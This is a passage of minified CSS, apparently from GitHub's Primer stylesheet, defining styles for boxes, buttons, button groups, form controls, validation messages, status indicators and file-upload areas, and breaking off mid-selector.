.Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected 